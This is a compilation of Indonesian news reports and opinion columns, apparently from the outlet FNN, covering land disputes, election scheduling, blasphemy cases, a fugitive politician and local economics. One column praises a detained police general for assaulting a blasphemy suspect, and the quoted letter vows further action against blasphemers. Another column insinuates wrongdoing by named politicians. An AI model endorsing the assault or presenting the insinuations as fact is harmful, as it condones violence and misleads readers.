lanjutnya. “Bapak Ari Tahiru sebagai rakyat minta perlindungan Babinsa, itu pun Babinsa kami pun dipanggil Polri/Polresta Manado,” ungkap Junior. Selain itu, menurut Junior, pasukan Brimob Polda Sulut bersenjata mendatangi Babinsa yang sedang bertugas di tanah Edwin Lomban yang sudah ada putusan Mahkamah Agung Nomor 3030 K tahun 2016. Atas laporan PT Ciputra International/Perumahan Citraland, Polresta Manado membuat surat panggilan kepada Babinsa. “Akhir kata Demi Allah Yang Maha Esa-Maha Kasih, mari kita bela rakyat miskin/kecil dan jangan bela perusahaan yang merampas tanah-tanah rakyat. Terima kasih, semoga diberkati Allah Yehuwa,” tulis Junior. “Saya Tentara Rakyat! Junior Tumilaar.” (mth)

KPU Diminta Hati-Hati Tentukan Jadwal Pemilu 2024

Jakarta, FNN - Sekretaris Jenderal Partai Keadilan dan Persatuan (PKP) Said Salahudin meminta DPR, Pemerintah, KPU, dan Bawaslu supaya berhati-hati dalam menentukan jadwal Pemilu 2024. Sebab, jadwal Pemilu ditetapkan oleh UUD 1945, sehingga mengubah waktu menyebabkan pelaksanaannya berpotensi inkonstitusional. "Pasal 22E ayat (1) UUD 1945 telah tegas menyatakan 'Pemilihan umum dilaksanakan secara langsung, umum, bebas, rahasia, jujur, dan adil setiap lima tahun sekali'," kata Said di Jakarta, Senin, 20 September 2021. Dia menjelaskan, frasa "lima tahun" itu mudah sekali menghitungnya, yaitu 12 bulan dikali 5, sehingga kalau pada tahun 2019 Pemilu dilaksanakan di bulan April, maka 60 bulan berikutnya jatuh di bulan April 2024. Menurut dia, semestinya semua pihak patuh dan konsisten pada perintah konstitusi. Sebab, negara harus dibangun dengan sistem yang "ajeg" agar agenda kenegaraan lima tahunan bisa dilaksanakan sebagaimana mestinya. "Kalau ada alasan yang bersifat force majeure, seperti bencana alam atau bencana non-alam yang terjadi di seluruh Indonesia atau ada unsur kedaruratan serta alasan khusus lainnya, itu bisa saja dijadikan sebagai pertimbangan untuk memajukan atau memundurkan jadwal Pemilu sehingga tidak harus dilaksanakan di bulan April," ujarnya, sebagaimana dikutip dari Antara. Namun menurut dia, kalau alasannya hanya karena ada Pilkada (Pemilihan Kepala Daerah) serentak 2024, itu tidak masuk akal karena jadwal Pilkada serentak nasional di bulan November 2024 hanya diatur di level undang-undang. Dia menjelaskan, berbeda halnya dengan Pemilu yang jadwalnya ditetapkan langsung oleh UUD 1945. Hal itu sudah menjadi konvensi yaitu selalu dilaksanakan di bulan April sejak empat kali Pemilu terakhir. "Jika Pemilu dilaksanakan di bulan Februari atau Mei 2024 seperti wacana yang muncul selama ini, itu artinya Pemilu tidak genap dilaksanakan setiap lima tahun sekali," katanya. Dia khawatir bisa muncul permasalahan hukum yang serius jika jadwal Pemilu yang diatur dalam UUD 1945 dikalahkan oleh jadwal Pilkada yang hanya diatur di level undang-undang. Kalau terpaksa harus ada yang "dikalahkan", semestinya jadwal Pilkada yang dimundurkan, bukan jadwal Pemilu. Dia menjelaskan, kalau pelaksanaan Pilkada pada bulan November dianggap terlalu dekat dengan pelaksanaan Pemilu di bulan April, bisa saja jadwal Pilkada dimundurkan oleh DPR dan Pemerintah melalui revisi undang-undang. "Atau cukup dengan penerbitan Peraturan Pemerintah Pengganti Undang-undang (Perppu) oleh Presiden dalam hal ada unsur kegentingan yang memaksa," ujarnya. Artinya, perubahan jadwal Pilkada lebih mudah dilakukan ketimbang mengubah jadwal Pemilu. Sebab, jika Pemilu tidak dilaksanakan lima tahun sekali, maka MPR (Majelis Permusyawaratan Rakyat) harus bersidang untuk melakukan amendemen Pasal 22E ayat (1) UUD 1945. (MD).

Enam Tahanan Palestina di Israel Lanjutkan Mogok Makan

Ramallah, FNN - Enam tahanan Palestina di Israel melanjutkan mogok makan. Hal itu mereka lakukan sebagai bentuk protes terhadap kebijakan penahanan administratif Israel. Menurut Palestinian Prisoners Society (PPS), sebuah Lembaga Swadaya Masyarakat (LSM) menyebutkan, tahanan Kayed al-Fasfous menjadi yang paling lama melakukan aksi mogok makan, yakni sejak 67 hari yang lalu. Kebijakan penahanan administratif Israel memungkinkan otoritas Israel memperpanjang penangkapan seorang tahanan tanpa tuduhan setelah masa vonis selama enam bulan berakhir. Ada sekitar 4.850 tahanan Palestina di penjara Israel. Dari jumlah tersebut, termasuk 40 perempuan, 225 anak dan 40 tahanan administratif. Jumlah tersebut menurut sejumlah lembaga yang mengurusi para tahanan. (MD).

Mendes PDTT Sebut Inovasi dan Teknologi Percepat Kemajuan Desa

Jakarta, FNN - Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT) Abdul Halim Iskandar menyampaikan inovasi dan teknologi tepat guna berperan mempercepat laju kemajuan desa. Pada tahun 2019 ada 78.030 inovasi dan teknologi tepat guna diterapkan di desa mencakup 23.964 unit bidang infrastruktur, 31.031 unit bidang kewirausahaan, dan 23.032 unit bidang peningkatan kapasitas SDM, papar Mendes PDTT dalam acara puncak Gelar Teknologi Tepat Guna Nasional ke-22 di Jakarta, Senin. Dikatakan, teknologi tepat guna juga merupakan bagian dari capaian tujuan pembangunan berkelanjutan (SDGs) desa ke-9, yakni Infrastruktur dan inovasi desa sesuai kebutuhan. SDGs Desa memiliki 18 tujuan dengan 222 indikator pemenuhan kebutuhan warga, pembangunan wilayah desa, serta kelembagaan desa. Sejak tahun 2021 ini, lanjut dia, Kemendes PDTT menggunakan SDGs Desa sebagai upaya terpadu percepatan pencapaian tujuan pembangunan berkelanjutan, seperti diatur dalam Peraturan Presiden Nomor 59 tahun 2017 tentang Pencapaian Tujuan Pembangunan Berkelanjutan. "SDGs Desa, Pembangunan Desa berjalan di atas prinsip 'No One Left Behind' yaitu Pembangunan yang tidak meninggalkan satu orangpun terlewatkan, pembangunan desa yang tidak menyisakan satu warga desapun yang tidak dapat menikmati hasil pembangunan desa," kata Gus Halim, demikian ia biasa disapa. Ia mengemukakan, sebanyak Rp2 triliun Anggaran Pendapatan dan Belanja Desa (APBDes) dianggarkan oleh 24.890 desa inovatif. "Desa-desa itulah yang mengalami peningkatan skor IDM (Indeks Desa Membangun) lebih cepat," katanya. Mendes PDTT juga mengatakan bahwa acara Gelar Teknologi Tepat Guna Nasional ini dapat menjadi upaya strategis dalam penyebaran dan pemerataan informasi teknologi. "Event Teknologi Tepat Guna Nasional ini merupakan tempat bertemunya para inventor, kreator, dan innovator teknologi, dari berbagai daerah di tanah air," tutur Gus Halim. Dalam kesempatan itu, Gus Halim memberikan penghargaan kepada pemenang lomba Teknologi Tepat Guna Nasional ke-22, dengan Provinsi Lampung menjadi Juara Umum yang diterima Gubernur Arinal Junaidi. (mth)

Tanda-tanda Kejayaan Agama dan Bangsa Sudah Dekat

Oleh Sugengwaras Adalah Brigjen TNI Yunior Tumilaar sang pendobrak rakyat kecil miskin dan Irjen Pol Napoleon Bonaparte sang pembela agama Islam, di samping masih banyak para pahlawan pahlawan pejuang revolusioner di negeri tercinta ini. Di dada seorang pejuang revelusioner, tak akan pandang pangkat, jabatan, kedudukan, profesi, asal, agama, kelompok maupun sedang di mana berada. Dada mereka akan senantiasa merasa mendidih, gerah, menggelora ketika melihat ketimpangan dan tidak keadilan, apa lagi jika hal itu dilakukan oleh penguasa negara. Pemerintah atau penguasa negara seharusnya melindungi, mengayomi, menyelamatkan dan mengajak bersama sama rakyat untuk memajukan dan mensejahterakan bangsa dan negara, bukan menciptakan kegaduhan, kekacauan, kebohongan, ketidak adilan dan kesewenang wenangan terhadap rakyatnya. Banyak kebijakan rezim yang membuat rakyat susah dan sulit dengan alasan pembenarannya sendiri, bahkan main gebuk, tindas dan libas dalam bertindak terhadap rakyat yang tidak berdaya. Ari Tahiru ( 67 th ), rakyat kecil, miskin dan buta, di wilayah Sulawesi Utara, adalah sekelumit contoh, ketika dipanggil dan ditahan oleh kepolisian saat berupaya mempertahankan seenggok tanahnya yang diserobot PT Citra Land Internasional / Perumahan Citra Land Ini bisa dipahami jika polisi beralasan dalam proses hukum ( harus ditahan ), tapi kenapa tidak dipertimbangkan kondisi sang rakyat yang lemah dan buta? Atau mungkin ingin cari sensasi, setor muka ke boss PT Citra Land ? Menjadi luar biasa ketika sang BABINSA ( Bintara Pembina Desa ) berupaya membela rakyat kecil dan miskin, dipanggil dan didatangi satuan Brimob Bersenjata Ini benar-benar sesalah salahnya dan sebodoh bodohnya aparat kepolisian Di militer, apa yang dilakukan dan tidak dilakukan seorang prajurit bawahan, menjadi tanggung jawab atasannya, inilah prosedur tetap satuan militer. Jika dikepolisian berlaku sama, maka seluruh pejabat atasan mulai Komandan langsung Satuan Brimob hingga. Kapolda SULUT harus Dicopot Kenapa? Karena mereka, harus ikut bertanggung jawab terhadap tindakan yang salah ini Kita tidak boleh berasumsi, berpersepsi, berprediksi dan berpikir yang faktanya tidak ada korban dan tidak terjadi apa apa Ini pemikiran yang ceroboh, blegug dan dibelenggu otak dungu ! Bersyukurlah, tidak berkembang situasi dan kondisi yang lebih buruk dan ini saya yakin telah dilakukanya langkah langkah cepat dan tepat secara konkrit oleh seorang Inspektorat Jenral Kodam XIII/ Merdeka Brigjen TNI Yunior Tumilaar Salut dan terimakasih untuk Brigjen Tumilaar, yang telah dengan tegas dan bijak terhadap anggota Kodam XIII / Merdeka dan Surat Terbukanya kepada Yth KAPOLRI, sehingga tidak terjadi hal hal yang tidak dinginkan / bentrok bersenjata antara TNI dengan POLRI diwilayah SULUT, bahkan bisa menjalar seantero negeri, yang sama sama tidak kita inginkan Semoga tindakan Jenderal akan dijadikan.contoh kepada anggota anggota TNI lainya Juga simpati dan hormat saya, kepada Irjjenpol Napoleon, yang sedang berada ditahanan, namun masih terbesit pemikiran luhur dan mulia, yang tidak tega melihat, mendengar dan merasakan pedih dan prihatinya agama Islam dihina, Alqur'an dilecehkan dan junjungan nabi besar Muhamad saw direndahkan, meski sadar apapun resiko yang akan dihadapi, Insya Allah tindakan / perbuatan ini sebagai salah satu penolong dalam meringankan kesulitan diakhirat nanti Semoga kejadian yang mengaitkan Brigjen Yunior Tinulaar dan Irjenpol Bonaparte Napoleon, mengingatkan, menggugah dan mengantar kita untuk bisa memilah milahkan mana yang benar dan salah, mana yang baik dan buruk, baik kepada pemerintah maupun rakyat untuk mau dan selalu mawasdiri, intropeksi dan kembali pada jalan yang benar menuju kitrah aqidah agama serta kecerdasan dan kesejahteraan rakyat / bangsa Indonesia AAMIIN.....YRA ! Purn. Tidak meverngd

Hakim Perntahkan Yahya Waloni Dihadirkan Ke Pengadilan Negeri Jakarta Selatan

Jakarta, FNN - Hakim tunggal Pengadilan Negeri Jakarta Selatan Anry Widyo Laksono memerintahkan kepada kepolisian dan Yahya Waloni hadir pada sidang praperadilan kedua di PN Jakarta Selatan, Jakarta, Senin (27/9). Hakim memanggil secara resmi perwakilan dari kepolisian sebagai pihak termohon dalam gugatan praperadilan terkait penangkapan Waloni dan penetapan dia sebagai tersangka kasus penistaan agama. Hakim juga meminta kepolisian menghadirkan Yahya Waloni ke persidangan guna menjelaskan surat pencabutan praperadilan yang dia layangkan ke Ketua PN Jakarta Selatan, pada 13 September 2021. "Saya akan memanggil pihak termohon, juga pada Yahya Waloni supaya meng-clear surat pencabutan ini," kata hakim kepada tim pengacara saat sidang pertama praperadilan di PN Jakarta Selatan, Senin, 20 September 2021. Hakim sebelum menutup sidang mengatakan, "Tolong untuk persidangan ini tidak berpanjang-panjang lagi. Sidang berikutnya ditunda seminggu, kami panggil termohon dan Yahya Waloni. Seandainya ada yang keberatan, silahkan tulis dalam kesimpulan." Ia menyebut sidang berikutnya akan berlangsung sekitar pukul 12.00 WIB. Walaupun demikian, hakim tidak dapat memastikan Waloni dapat hadir secara fisik sebagaimana diminta oleh tim pengacara dari Ikatan Advokat Muslim Indonesia. "Semuanya dalam rangka pandemi. Semua ada kebijakan mengenai masalah itu. Kami coba dahulu. Perkara ini menarik perhatian masyarakat. Jika habis sidang kasus Covid-19 tinggi, siapa yang disalahkan. Kami lanjutkan sidang. Kami panggil secara formal Yahya Waloni," kata hakim kepada tim pengacara yang menuntut Waloni dihadirkan ke persidangan. Kepolisian bulan lalu menangkap Waloni. Ia ditahan di Rumah Tahanan Bareskrim Polri, Jakarta. Waloni telah ditetapkan sebagai tersangka kasus penistaan agama dan penyebaran ujaran kebencian sejak Mei 2021. Penetapan tersangka itu merujuk pada laporan ke Bareskrim Polri pada tanggal 27 April 2021. Setelah ditahan, Waloni memberi kuasa kepada Abdullah Al Katiri. Ia bersama puluhan pengacara yang tergabung dalam Ikatan Advokat Muslim Indonesia, menjadi pembela Waloni. Menurut tim pengacara, yang ditemui di luar ruang sidang di Jakarta, Senin, 19 September 2021, Waloni memberi kuasa pendampingan dan kuasa permohonan praperadilan ke PN Jakarta Selatan. Namun, pada sidang pertama praperadilan, hakim membacakan surat pencabutan praperadilan yang diteken oleh Waloni. Dalam surat itu, ia menyampaikan telah mencabut kuasa kepad tim pengacara, Abdullah Al Katiri, dan puluhan pengacara dari Ikatan Advokat Muslim Indonesia pada tanggal 6 September 2021. "Permohonan praperadilan didaftarkan oleh mantan kuasa hukum saya pada tanggal 7 September, saya sudah mencabut kuasa sejak 6 September 2021. Surat pencabutan kuasa terlampir," kata hakim Anry membacakan surat Waloni, sebagaimana dikutip dari Antara. Waloni lewat suratnya mengatakan, "Adapun permohonan praperadilan saya tidak pernah diberi tahu. Saya baru tahu (permohonan praperadilan) 8 September dari keluarga. Saya sangat keberatan atas permohonan praperadilan yang diajukan mantan kuasa hukum atas nama saya." Koordinator Tim Pengacara Abdullah Al Katiri menjelaskan kepada hakim, Waloni mencabut surat kuasa pendampingan, bukan surat kuasa praperadilan. Namun, tim pengacara dan hakim tidak dapat menerima penjelasan secara langsung dari Yahya, yang masih mendekam di Rutan Bareskrim Polri. Tim pengacara mengaku tidak diberikan akses oleh kepolisian untuk menemui kliennya sejak mereka ditunjuk sebagai kuasa hukum Waloni. Oleh karena itu, hakim memutuskan memanggil Waloni secara langsung ke persidangan pada hari Senin pekan depan. (MD).

Harun Masiku, Bu Mega, dan Hasto

By Asyari Usman SUDAH 20 bulan Harun Masiku (HM), kader istimewa PDIP, menghilang. Sampai hari ini belum juga tertangkap. Padahal, Indonesia punya 34 polda, 504 polres, hampir 4,000 polsek dan lebih dari 470,000 personel kepolisian. Tersebar di seluruh pelosok republik. Entah di mana salahnya, kepolisian nomor dua terbesar di dunia ini tak berdaya dibuat Masiku. Sekadar mengingatkan, Harun Masiku adalah tersangka kasus sogok (mantan) komisioner KPU, Wahyu Setiawan (WS), yang dihukum penjara enam (6) tahun. Masiku dituduh menyuap Wahyu untuk membantu agar dia (Masiku) ditetapkan oleh KPU sebagai anggota DPR penggantian antar-waktu (PAW) menggantikan Nazarudin Kiemas yang meninggal dunia setelah terpilih menjadi anggota legislatif PDIP 2019-2024 dari Dapil Sumatera Selatan 1. Namun, KPU menetapkan Riezky Aprilia sebagai pengganti Nazarudin karena meraih suara terbanyak kedua. Mengapa Masiku belum bisa ditangkap? Sehebat apa politisi PDIP ini sampai dia mampu bertahan 20 bulan di persembunyian? Masiku bukan buronan biasa. Di tangan mantan caleg ini diduga ada informasi penting tentang kronologi kasus suap Wahyu. Diduga kuat, kejahatan sogok yang dia lakukan melibatkan nama-nama besar di PDIP. Nama-nama besar yang diduga terlibat itu adalah orang-orang yang sangat penting. Bukan orang-orang yang hanya populer di media. Kalau nama-nama besar yang diduga terlibat kasus sogok Masiku itu hanya kader biasa, Masiku tidak akan hilang atau menghilang. Pasti para kader itu sudah mendekam di penjara. Mereka akan dibiarkan diproses hukum. Tetapi, karena orang-orang penting itu memang sangat penting, maka tidak ada cara lain kecuali “memotong” aliran informasi dari Masiku. Jangan sampai ada yang keluar dari mulutnya. Karena itu, membiarkan Masiku hilang atau menghilang adalah satu-satunya jalan yang tersisa. Ada yang berpendapat dia dihilangkan. Bagimanapun, Harun Masiku tidak akan hilang dari ingatan publik. Dia bisa menghilang, tapi persoalan besar yang ditinggalkannya tidak akan sirna. Semakin lama dia menghilang, maka semakin yakinlah publik bahwa orang-orang yang terlibat kasus sogok itu sangat tinggi posisi mereka. Dalam proses untuk menjadikan Masiku sebagai anggota DPR PAW, Ketua KPU Arief Budiman mengatakan ada tiga surat permintaan dari PDIP kepada KPU agar melaksanakan putusan Mahkamah Agung (MA). Putusan itu membolehkan pimpinan parpol menentukan PAW. Surat ketiga ditandatangani oleh Ketum Megawati dan Sekjen Hasto Kristiyanto. PDIP ingin Masiku yang menggantikan Nazarudin Kiemas. Tetapi KPU menetapkan Riezky Aprilia. Setelah ditolak KPU, ada pihak yang melakukan “usaha lain”. Inilah yang kemudian terungkap sebagai kasus suap terhadap Wahyu Setiawan --komisioner KPU waktu itu. Komisi Pemberantasan Korupsi (KPK) melakukan operasi tangkap tangan (OTT) pada pada 8 Januari 2020. Di tiga tempat secara simultan. Wahyu Setiawan ditangkap di bandara Soekarno-Hatta. Kembali ke Masiku, dua mantan penyidik KPK yang tak lulus tes wawasan kebangsaan (TWK) yakin buronan yang belum bisa ditangkap itu ada di Indonesia saat ini. Ronald Sinyal, yang menangani pencarian Masiku, mengatakan dia pulang ke Indonesia setelah cegah-tangkalnya berakhir Januari 2021. Cegah-tangkal imigrasi itu berlaku enam bulan dan hanya bisa diperpanjang satu kali. Penyidik KPK lainnya yang juga disingkirkan lewat TWK, Harun Al-Rasyid, mengatakan dia pernah tahu lokasi Masiku. Tetapi karena waktu itu dia berstatus non-aktif, Harun Al-Rasyid tak bisa berbuat apa-apa. Sebagai penutup, ada hal menarik dari kronologi sogok Masiku kepada Wahyu. Dalam sidang pengadilan, tersangka Saeful Bahri (kader PDIP) mengatakan kepada hakim bahwa dia melaporkan perihal uang sogok itu kepada Sekjen Hasto Kristiyanto. Seperti ditulis Kompasdotcom: Karena beberapa kali Saeful meminta uang ke Harun, Hasto disebut sempat menegurnya dan meminta agar segala permintaan uang dari Harun dilaporkan kepada Hasto. "Saya sempat ditegur Pak Hasto karena saya minta dana operasional ke Pak Harun. Kemudian karena peristiwa itu, ya saya akhirnya kalau setiap peristiwa saya laporkan," jawab Saeful. Ia melanjutkan, Hasto hanya menjawab 'ok sip' atas laporan penerimaan uang dari Harun Masiku tersebut. (Kompasdotcom). Hari ini, publik hanya bisa memutar-ulang drama ini. Tidak bisa ikut campur untuk meluruskan adegan-adegan aneh yang berlangsung tanpa koreksi. Tapi, Anda masih beruntung. Sebab, drama Masiku yang spektakuler itu menyandang nama besar di PDIP, yaitu Bu Megawati dan Hasto Kristiyanto. Di mana beruntungnya? Beruntungnya adalah begitu teringat Masiku, otomatis Anda akan ingat Bu Mega dan Hasto.[] (Penulis wartawan senior FNN)

by Asyari Usman Medan FNN - Sudah 20 bulan Harun Masiku (HM), kader istimewa PDIP, menghilang. Sampai hari ini belum juga tertangkap. Padahal, Indonesia punya 34 polda, 504 polres, hampir 4,000 polsek dan lebih dari 470,000 personel kepolisian. Tersebar di seluruh pelosok republik. Entah di mana salahnya, kepolisian nomor dua terbesar di dunia ini tak berdaya dibuat Masiku. Sekadar mengingatkan, Harun Masiku adalah tersangka kasus sogok (mantan) komisioner KPU, Wahyu Setiawan (WS), yang dihukum penjara enam (6) tahun. Masiku dituduh menyuap Wahyu untuk membantu agar dia (Masiku) ditetapkan oleh KPU sebagai anggota DPR penggantian antar-waktu (PAW) menggatikan Nazarudin Kiemas yang meninggal dunia setelah terpilih menjadi anggota legislatif PDIP 2019-2024 dari Dapil Sumatera Selatan 1. Namun, KPU menetapkan Riezky Aprilia sebagai pengganti Nazarudin karena meraih suara terbanyak kedua. Mengapa Masiku belum bisa ditangkap? Sehebat apa politisi PDIP yang ini sampai dia mampu bertahan 20 bulan di persembunyian? Pastinya Masiku bukan buronan biasa. Di tangan mantan caleg PDPI inilah diduga ada informasi penting tentang kronologi kasus suap Wahyu Setiawan, mantan Komisioner Komisi Pemilihan Umum (KPU) yang dinyatakan bersalah oleh pengadilan. Diduga kuat, kejahatan sogok yang dia lakukan melibatkan nama-nama besar di PDIP. Nama-nama besar yang diduga terlibat itu adalah orang-orang yang sangat penting. Bukan orang-orang yang hanya populer di media. Kalau nama-nama besar yang diduga terlibat kasus sogok Masiku itu hanya kader biasa, Masiku tidak akan hilang atau menghilang. Pasti para kader itu sudah mendekam di penjara. Mereka akan dibiarkan diproses hukum. Tetapi, karena orang-orang penting itu memang sangat penting, maka tidak ada cara lain kecuali “memotong” aliran informasi dari Masiku. Jangan sampai ada yang keluar dari mulutnya. Karena itu, membiarkan Masiku hilang atau menghilang adalah satu-satunya jalan yang tersisa. Ada yang berpendapat dia dihilangkan. Bagimanapun, Harun Masiku tidak akan hilang dari ingatan publik. Dia bisa menghilang, tapi persoalan besar yang ditinggalkannya tidak akan sirna. Semakin lama dia menghilang, maka semakin yakinlah publik bahwa orang-orang yang terlibat kasus sogok itu sangat tinggi posisi mereka. Dalam proses untuk menjadikan Masiku sebagai anggota DPR PAW, Ketua KPU Arief Budiman mengatakan ada tiga surat permintaan dari PDIP kepada KPU agar melaksanakan putusan Mahkamah Agung (MA). Putusan itu membolehkan pimpinan parpol menentukan PAW. Surat ketiga ditandatangani oleh Ketum Megawati dan Sekjen Hasto Kristiyanto. PDIP ingin Masiku yang menggantikan Nazarudin Kiemas. Tetapi KPU menetapkana Riezky Aprilia. Setelah ditolak KPU, ada pihak yang melakukan “usaha lain”. Inilah yang kemudian terungkap sebagai kasus suap terhadap Wahyu Setiawan --komisioner KPU waktu itu. Komisi Pemberantasan Korupsi (KPK) melakukan operasi tangkap tangan (OTT) pada pada 8 Januari 2020. Di tiga tempat secara simultan. Wahyu Setiawan ditangkap di bandara Soekarno-Hatta. Kembali ke Masiku, dua mantan penyidik KPK yang tak lulus tes wawasan kebangsaan (TWK) yakin buronan yang belum bisa ditangkap itu ada di Indonesia saat ini. Ronald Sinyal, yang menangani pencarian Masiku, mengatakan dia pulang ke Indonesia setelah cegah-tangkalnya berakhir Januari 2021. Cegah-tangkal imigrasi itu berlaku enam bulan dan hanya bisa diperpanjang satu kali. Penyidik KPK lainnya yang juga disingkirkan lewat TWK, Harun Al-Rasyid, mengatakan dia pernah tahu lokasi Masiku. Tetapi karena waktu itu dia berstatus non-aktif, Harun Al-Rasyid tak bisa berbuat apa-apa. Sebagai penutup, ada hal menarik dari kronologi sogok Masiku kepada Wahyu. Dalam sidang pengadilan, tersangka Saeful Bahri (kader PDIP) mengatakan kepada hakim bahwa dia melaporkan perihal uang sogok itu kepada Sekjen Hasto Kristiyanto. Seperti ditulis Kompasdotcom: Karena beberapa kali Saeful meminta uang ke Harun, Hasto disebut sempat menegurnya dan meminta agar segala permintaan uang dari Harun dilaporkan kepada Hasto. "Saya sempat ditegur Pak Hasto karena saya minta dana operasional ke Pak Harun. Kemudian karena peristiwa itu, ya saya akhirnya kalau setiap peristiwa saya laporkan," jawab Saeful. Ia melanjutkan, Hasto hanya menjawab 'ok sip' atas laporan penerimaan uang dari Harun Masiku tersebut. (Kompasdotcom). Hari ini, publik hanya bisa memutar-ulang drama ini. Tidak bisa ikut campur untuk meluruskan adegan-adegan aneh yang berlangsung tanpa koreksi. Tapi, Anda masih bertuntung. Sebab, drama Masiku yang spektakuler itu menyandang nama besar di PDIP, yaitu Bu Megawati dan Hasto Kristiyanto. Di mana beruntungnya? Beruntungnya adalah begitu teringat Masiku, otomatis Anda akan ingat Bu Mega dan Hasto. Penulis adalah Penulis wartawan senior FNN.

PPHN Harus Dibatalkan dan Digagalkan

By M Rizal Fadillah POKOK-Pokok Haluan Negara (PPHN) menjadi kontroversial karena tiga hal, pertama masalah yang krusial dilempar di masa pandemi, kedua MPR bukan lembaga tertinggi, dan ketiga diprediksi konten PPHN akan menggabungkan pola perencanaan Orla dan Orba. Masyarakat pun menanggapi dengan pro dan kontra. Partai Ummat dipimpin Ketua Umum Dr. Ridho Rahmadi mendatangi pimpinan DPD MPR untuk menyampaikan aspirasi tentang keberatan atas agenda pembahasan PPHN karena amandemen itu di samping membuka celah bagi perpanjangan masa jabatan Presiden, juga penetapan PPHN dinilai berlawanan dengan semangat reformasi. PPHN diusulkan agar tidak masuk dalam Konstitusi maupun Ketetapan MPR. Bambang Soesatyo Ketua MPR-lah yang memulai secara formal menyebut PPHN sebagai agenda utama MPR. Meski belum utuh kesepakatan fraksi tetapi kajian dan persiapan pembahasan PPHN sebagai pengganti GBHN terus digodok. Bambang Soesatyo pun terus rajin mensosialisasikan rencana tersebut. Mengapa pembahasan amandemen UUD 1945 tentang PPHN, yang disinyalir bakal menjadi kotak Pandora, harus dibatalkan atau digagalkan? Pertama, akan memunculkan problematika hukum. Meski MPR berhak melakukan amandemen tetapi MPR kini tidak berwenang menghidupkan GBHN meski dengan nama PPHN. Kewenangan MPR untuk menetapkan "garis-garis besar dari pada haluan negara" telah dicabut atau dihapus. Kedua, konsekuensi hukum amandemen PPHN adalah MPR menjadi lembaga tertinggi. Artinya MPR berkedudukan lebih tinggi dari Presiden. PPHN diamanatkan untuk dijalankan oleh Presiden. Pesiden sebagai Mandataris MPR konsekuensinya harus bertanggungjawab kepada MPR. Ketiga, bila PPHN berakar pada GBHN Orde Baru dan PNSB Orde Lama, maka reformasi menjadi terancam. Menghidupkan mayat akan berbau bangkai. Paradigma kenegaraan yang berorientasi ke depan prakteknya bergerak ke belakang. Indonesia maju untuk Indonesia mundur. PPHN adalah program undur-undur berbingkai Konstitusi. Kegerahan Partai Ummat yang merepresentasi kegerahan masyarakat adalah hal yang wajar dan patut didukung. Sudah semestinya mendapat perhatian DPD untuk awalnya, DPR selanjutnya. PPHN harus dibatalkan dan digagalkan. Amandemen terbatas menurut Bambang Soesatyo hakikatnya adalah amandemen tak terbatas. Batas-batas dari suatu kepentingan politik itu tipis. Tipis sekali. *) Pemerhati Politik dan Kebangsaan.

Perbuatan Kece Sangat Membahayakan Kerukunan Umat Beragama

Jakarta, FNN - Inspektur Jenderal Napoleon Bonaparte menulis surat terbuka dari dalam tahanan Bareskrim (Badan Reserse Kriminal) Polri. Dalam butir tiga suratnya itu, ia menyebutkan perbuatan M. Kece sangat membahayakan persatuan dan kerukunan umat beragama di Indonesia. Surat terbuka itu beredar secara luas pada Ahad, 19 September 2021. Surat terbuka itu dibuatnya menyusul beredarnya berita yang menyebutkan Kece dianiaya sesama tahanan Bareskrim. Sebagaimana diketahui, Kece menjadi tersangka dan ditahan dalam kasus penistaan agama Islam. Ia dijebloskan ke tahanan setelah ditangkap di Bali. Napoleon yang sejak lahir adalah pemeluk agama Islam. Karena itu, ia tidak rela agamanya dinistakan dan dilecehkan oleh Kece. Napoleon menegaskan bertanggungjawab atas penganiayaan yang dialami Kece. Selain itu, ia menyayangkan konten Kece di media sosial yang belum dihapus oleh pemerintah. "Saya sangat menyayangkan bahwa sampai saat ini pemerintah belum juga menghapus semua konten di media, yang telah dibuat dan dipublilasikan oleh manusia-manusia tak beradab itu," tulis Napoleon dalam surat terbuka yang diterima FNN.co.id. "Akhirnya, saya akan mempertanggungjawabkan semua tindakan saya terhadap Kace apa pun risikonya," demikian poin kelima surat terbuka Napoleon itu. Berikut isi lengkap surat terbuka Napoleon Bonaparte : Saudara-saudaraku sebangsa dan setanah air. Sebenarnya saya ingin berbicara langsung dengan saudara-saudara semua, namun saat ini saya tidak dapat melakukannya. Terkait simpang-siurnya informasi tentng penganiayaan terhadap Kece, dapat saya jelaskan sebagai berikut: 1. Alhamdulillah YRA, bahwa saya dilahirkan sebagai seorang Muslim dan dibesarkan dalam ketaatan agama Islam yang rahmatan lil alamin 2. Siapa pun bisa menghina saya, tapi tidak terhadap Allah ku, Al Qur'an, Rasulullah SAW dan akidah Islam ku. Karenanya saya bersumpah akan melakukan tindakan terukur apa pun kepada siapa saja yang berani melakukannya. 3. Selain itu, perbuatan Kace dan beberapa orang tertentu telah sangat membahayakan persatuan, kesatuan, dan kerukunan umat beragama di Indonesia. 4. Saya sangat menyayangkan bahwa sampai saat ini pemerintah belum juga menghapus semua konten di media, yang telah dibuat dan dipublikasikan oleh manusia-manusia tak beradab itu. 5. Akhirnya, saya akan mempertanggung jawabkan semua tindakan saya terhadap Kace..apa pun risikonya. Semoga kita semua selalu dalam perlindungan Allah SWT, dan hidup rukun sebagaimana yang ditauladani oleh para pendiri bangsa kita. Jakarta, September 2021 Hormat dan salamku, H. Napoleon Bonaparte alias Napo Batara Inspektur Jenderal Polisi. (MD)

Bupati Bangka: Pelaku UMKM Agar Manfaatkan Dana KUR

Sungailiat, Bangka, FNN - Bupati Bangka Provinsi Kepulauan Bangka Belitung, Mulkan menyarankan pelaku usaha mikro kecil dan menengah (UMKM) di daerahnya memanfaatkan pinjaman permodalan dana kredit usaha rakyat (KUR) yang di kelola Bank SumselBabel. "Pelaku UMKM yang bergerak semua bidang usaha kerakyatan agar memanfaatkan pinjaman permodalan usaha supaya usahanya dapat berkembang," katanya di Sungailiat, Minggu. Bupati mengatakan, pihaknya memberikan keringanan permodalan UMKM termasuk bebas bunga pinjaman karena ditanggung pemerintah daerah. "Kami memberikan subsidi bunga pinjaman permodalan kepada pelaku UMKM yang memanfaatkan dana KUR di Bank SumselBabel sebesar total ratusan juta rupiah," jelas bupati. Untuk besaran pinjaman yang dapat diperoleh pelaku UMKM kata dia, diserahkan sepenuhnya kepihak bank untuk menentukan nilai pinjaman. "Pemberian subdisi bunga usaha KUR merupakan komitmen pemerintah Kabupaten Bangka guna mendukung dan mendorong pertumbuhan ekonomi melalui sektor UMKM," katanya. Menurutnya, pemerintah pusat dan daerah cukup serius memperhatikan kegiatan UMKM karena sektor ini dianggap mampu bertahan dan berkembang secara bekelanjutan dalam mendukung peningkatan ekomoni masyarakat. "UMKM memiliki peran penting membangkitkan perekonomian daerah terutama saat pandemi COVID-19 yang 